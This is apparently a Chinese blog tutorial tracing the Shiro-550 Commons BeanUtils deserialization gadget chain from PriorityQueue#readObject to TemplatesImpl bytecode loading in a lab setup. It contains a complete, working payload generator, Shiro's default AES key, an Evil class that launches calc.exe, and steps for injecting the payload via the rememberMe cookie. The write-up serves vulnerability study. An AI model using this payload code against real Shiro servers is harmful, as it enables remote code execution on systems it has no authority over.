Java代码审计&Shiro反序列化&CB1链&source入口&sink执行&gadget链

目录

0x00 前言

0x01 CC链&CB链简介

1. Commons Collections链是什么?

2. Commons BeanUtils链是什么?

0x02 测试Commons BeanUtils链

0x03 Shiro550 - Commons BeanUtils链 - 跟踪分析(无依赖)

1. 前置知识 

2. Commons BeanUtils链跟踪流程(重点)

3. 总结

0x04 Shiro550 - Commons BeanUtils链 - Payload编写分析(提升)


0x00 前言

 希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 CC链&CB链简介

1. Commons Collections链是什么?

"CC链"指的是一种在Java反序列化漏洞攻击中使用的攻击链,主要利用了Apache Commons项目中的Commons Collections库。这个库包含了一些常用的Java集合类的实现,其中一些类在进行反序列化时会执行预定义的操作。攻击者可以构建恶意的反序列化数据,使其在执行反序列化操作时调用Commons Collections库中的特定类,从而最终导致执行恶意代码。常见的类包括TransformedMap等,攻击者通过构建一系列对象,将这些类链接在一起,形成一个CC链,达到执行恶意代码的目的。

2. Commons BeanUtils链是什么?

"CB链"指的是一种类似于CC链的攻击链,但使用的是Apache Commons项目中的Commons BeanUtils库。Commons BeanUtils库提供了用于操作Java对象的实用工具类,例如BeanMap和BeanComparator等。攻击者可以构建一个恶意的反序列化链,通过组合这些特殊的类和方法,形成一个CB链。当反序列化操作触发时,CB链会执行预定义的操作,最终导致执行攻击者的恶意代码。

0x02 测试Commons BeanUtils链

Shiro项目环境:shiroweb && tomcat 9.0.80 && jdk 8u112

Shiro反序列化利用工具:shiroattack && jdk 8u112

 简单分析Commons BeanUtils链 payload生成逻辑:获取恶意类Evil=>getPayload生成并序列化=>AES加密=>Base64加密

public class Client1 {
    public static void main(String []args) throws Exception {
        // 1. 创建ClassPool对象,用于加载类
        ClassPool pool = ClassPool.getDefault();

        // 2. 获取恶意类Evil(该类执行计算器calc)
        CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());

        // 3. 调用CommonsBeanutils1Shiro#getPayload方法,并传入序列化后的恶意类,生成payload
        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());

        // 4. 创建AesCipherService对象
        AesCipherService aes = new AesCipherService();

        // 5. 将key值Base64解码
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        // 6. 使用AES加密payload,暗含Base64加密
        ByteSource ciphertext = aes.encrypt(payloads, key);

        // 7. 将加密后的结果输出到控制台
        System.out.printf(ciphertext.toString());
    }
}

其中恶意类Evil.class调用Runtime.getRuntime().exec执行计算器:

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

以下为CommonsBeanutils1Shiro.class代码,用于生成payload。此处暂不分析,后面跟完链会详细介绍。

public class CommonsBeanutils1Shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }
}

使用Client1.java测试CommonsBeanutils1Shiro链,BurpSuite抓包修改,将生成的payload替换Cookie: rememberMe=后的值,成功弹出计算器。

随后使用Client.java、Client0.java测试CommonsCollectionsShiro、CommonsCollections6链,同样的操作却并未成功执行命令,这是为什么呢?

这其实是由于项目自身环境造成的,实验中shiroweb的CB库版本为1.8.3,CC库版本为3.2.1。

一般来说可利用CC链的版本为3.1,这就是为什么上述CB链测试能成功,CC链未成功的原因。

 0x03 Shiro550 - Commons BeanUtils链 - 跟踪分析(无依赖)

1. 前置知识 

上篇文章讲述的URLDNS链能够造成DNSLog但却不能执行命令,为何CC&CB链就可以呢?这就是调试分析需要解决的问题。

目前我们已经知道了Shiro使用的是Java原生反序列化,其漏洞成因是反序列化的类重写了readObject方法。

现在引入CB库里的PropertyUtils.getProperty()方法,该方法可以动态地通过反射调用对象的属性的get方法。

执行:PropertyUtils.getProperty(new User("ch4ser","man",23),"age");

User类的getAge方法被调用

执行:PropertyUtils.getProperty(new TemplatesImpl(),"outputProperties");

TemplatesImpl类的getOutputProperties方法被调用

另外,一个完整的攻击链通常由以下三个部分组成:

1、Source(源):入口点,通常是指攻击链的起始点,其中用户输入或外部数据进入应用程序。
在反序列化漏洞中,readObject 方法通常被认为是源,因为它是从输入流读取数据并进行反序列化的方法。
2、Sink(执行点):执行点,是攻击链上的终点,其中攻击者希望执行恶意操作的位置。
在反序列化漏洞中,sink 可能是一个动态方法执行、JNDI注入或写文件等操作。
3、Gadget(链):连接入口执行的多个类,通过它们的相互方法调用形成攻击链。Gadget 类通常满足一些条件,例如类之间方法调用是链式的,类实例之间的关系是嵌套的,调用链上的类都需要是可以序列化的。在反序列化漏洞中,Gadget 类是攻击者构建的、可序列化的类,通过构建特定的对象图,使得在反序列化时执行恶意代码。
 

2. Commons BeanUtils链跟踪流程(重点)

首先需要找到入口点Source:PriorityQueue#readObject方法

选择PriorityQueue这个类的原因是它重写了readObject方法,并且Shiro反序列化这个类的时候会调用其重写的readObject方法,经过层层嵌套调用,最终造成命令执行。值得一提的是,这个类的路径为java/util/PriorityQueue.java,也就意味着是JDK自带,不需要任何的依赖

可能有的师傅还是会问,有别的类也重写了readObject方法,为什么不选择别的类呢?这个问题其实不用过于纠结,因为我们目前是在别的大佬已经贡献了挖掘思路的基础上做的代码审计,并不是在挖0day,所以跟着他的思路走就行了。

链:PriorityQueue#readObject

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
    
    s.defaultReadObject();

    s.readInt();

    queue = new Object[size];

    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    heapify();
}

PriorityQueue#readObject本身没有命令执行函数,但发现调用了heapify方法,按照我们的思路现在应该步入heapify方法,检查其有没有可能会造成命令执行。

步入heapify方法,发现循环里调用了siftDown方法,继续跟进。

链:PriorityQueue#readObject=>heapify=>siftDown

条件1:size值大于等于2

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

步入siftDown方法,选择条件comparator != null时所调用的siftDownUsingComparator方法,继续跟进。

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator

条件1:size值大于等于2 

条件2:comparator != null

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

步入siftDownUsingComparator方法,关注Comparator#compare方法

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

条件1:size值大于等于2 

条件2:comparator != null

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        
        if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        
        if (comparator.compare(x, (E) c) <= 0)
            break;
        
        queue[k] = c;
        k = child;
    }
    
    queue[k] = x;
}

步入Comparator#compare,发现这其实是一个接口,并且BeanComparator类继承了Comparator类和Serializable类,实现了compare接口。

在BeanComparator#compare方法里看到了熟悉的东西:PropertyUtils.getProperty() 

由于我们需要代码逻辑走PropertyUtils.getProperty(),那么就需要让成员变量this.property != null,不然就会直接return。由于this.property是BeanComparator类的成员变量,检查发现其有内置的get、set方法,所以是可以实现控制的。

那么,当执行PropertyUtils.getProperty(o1, this.property)时,如果控制o1=new TemplatesImpl(),this.property="outputProperties",不就可以执行TemplatesImpl#getOutputProperties方法了吗?

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

=>BeanComparator#compare=>PropertyUtils.getProperty()

=>TemplatesImpl#getOutputProperties

条件1:size值大于等于2 

条件2:comparator != null

条件3:this.property != null

条件4:o1=new TemplatesImpl(),this.property="outputProperties"

 

public int compare(Object o1, Object o2) {
    if (this.property == null) {
        return this.comparator.compare(o1, o2);
    } else {
        try {
            Object value1 = PropertyUtils.getProperty(o1, this.property);
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.comparator.compare(value1, value2);
        } catch (IllegalAccessException var5) {
            throw new RuntimeException("IllegalAccessException: " + var5.toString());
        } catch (InvocationTargetException var6) {
            throw new RuntimeException("InvocationTargetException: " + var6.toString());
        } catch (NoSuchMethodException var7) {
            throw new RuntimeException("NoSuchMethodException: " + var7.toString());
        }
    }
}

 来到getOutputProperties方法,其调用newTransformer()方法,接着跟。

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    } catch (TransformerConfigurationException e) {
        return null;
    }
}

来到newTransformer方法,其调用执行getTransletInstance()方法,接着跟。

public synchronized Transformer newTransformer() throws TransformerConfigurationException {
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }

    return transformer;
}

来到getTransletInstance方法,当满足条件_name != null和_class == null时,调用执行defineTransletClasses()方法。

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

=>BeanComparator#compare=>PropertyUtils.getProperty()

=>TemplatesImpl#getOutputProperties

=>newTransformer()=>getTransletInstance()=>defineTransletClasses()

条件1:size值大于等于2 

条件2:comparator != null

条件3:this.property != null

条件4:o1=new TemplatesImpl(),this.property="outputProperties"

条件5:_name != null,_class == null

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

来到defineTransletClasses()方法,当满足条件_bytecodes != null时(不然会抛出异常),会往下执行loader.defineClass()方法,此处为Sink。

注意:在代码中,loader.defineClass(_bytecodes[i])的目的是将_bytecodes[i]中的字节码转换为Class对象,并将该类加载执行,而Java里的Class文件是可以直接执行命令的,故此处便解答了之前的疑问。

在漏洞利用的角度,此处的_bytecodes就是序列化后的恶意类(类似shiroattack执行计算器的Evil类)。

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

=>BeanComparator#compare=>PropertyUtils.getProperty()

=>TemplatesImpl#getOutputProperties

=>newTransformer()=>getTransletInstance()=>defineTransletClasses()

=>loader.defineClass()

条件1:size值大于等于2 

条件2:comparator != null

条件3:this.property != null

条件4:o1=new TemplatesImpl(),this.property="outputProperties"

条件5:_name != null,_class == null

条件6:_bytecodes != null,_bytecodes=序列化后的恶意类

3. 总结

PriorityQueue类:Source入口点,readObject方法

BeanComparator类:调用PropertyUtils.getProperty(),控制o1和property,执行TemplatesImpl类的getOutputProperties方法,承上启下的作用

TemplatesImpt类:Sink执行点,调用恶意类,loader.defineClass()方法

0x04 Shiro550 - Commons BeanUtils链 - Payload编写分析(提升)

跟踪完Commons BeanUtils链后,现在分析Commons BeanUtils链payload的生成逻辑。

首先看setFieldValue方法,使用Java反射获取对象的成员变量,设置Accessible以便访问私有成员变量,然后使用反射设置成员变量的值。

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    //获取对象的成员变量
    Field field = obj.getClass().getDeclaredField(fieldName);

    //设置Accessible以便访问私有成员变量
    field.setAccessible(true);

    //使用反射设置成员变量的值
    field.set(obj, value);
}

来到getPayload方法的第一部分,创建一个TemplatesImpl对象,并使用setFieldValue方法设置其相关成员变量的值。 

其中_bytecodes来源:_bytecodes <= clazzBytes <= clazz.toBytecode() <= Evil恶意类

//创建 TemplatesImpl 对象
TemplatesImpl obj = new TemplatesImpl();

//使用 setFieldValue 方法设置相关成员变量的值,
//同时需要满足条件:_bytecodes != null、_name != null 等等
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

来到getPayload方法的第二部分,创建BeanComparator对象和PriorityQueue 对象,具体见注释:

//创建 BeanComparator 对象
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
//创建 PriorityQueue 对象
//传入 2 是为了满足条件:size值 ≥ 2
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

//随便向队列 queue 中添加数据,稍后会被替换为 TemplatesImpl 对象
queue.add("1");
queue.add("1");

来到getPayload方法的第三部分,设置BeanComparator的成员变量property为outputProperties,同时设置PriorityQueue的queue字段为包含两个TemplatesImpl对象的数组。

于是,最终得到的PriorityQueue(queue)包含了TemplatesImpl对象和BeanComparator对象,其中BeanComparator对象的property字段被设置为"outputProperties"。

注意:实际上这里就是在控制o1=new TemplatesImpl(),this.property="outputProperties",于是执行PropertyUtils.getProperty(o1, this.property)时,就会调用TemplatesImpl#getOutputProperties方法。

//将 BeanComparator 的 property 字段设置为字符串 "outputProperties"
setFieldValue(comparator, "property", "outputProperties");

//将 PriorityQueue 的 queue 字段设置为一个包含两个相同的 TemplatesImpl 对象的数组
//这两个对象将替换之前队列 queue 中的数据
setFieldValue(queue, "queue", new Object[]{obj, obj});

来到getPayload方法的第四部分,将PriorityQueue对象序列化为字节数组并返回,完成了payload的生成。

// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

// 返回序列化后的字节数组
return barr.toByteArray();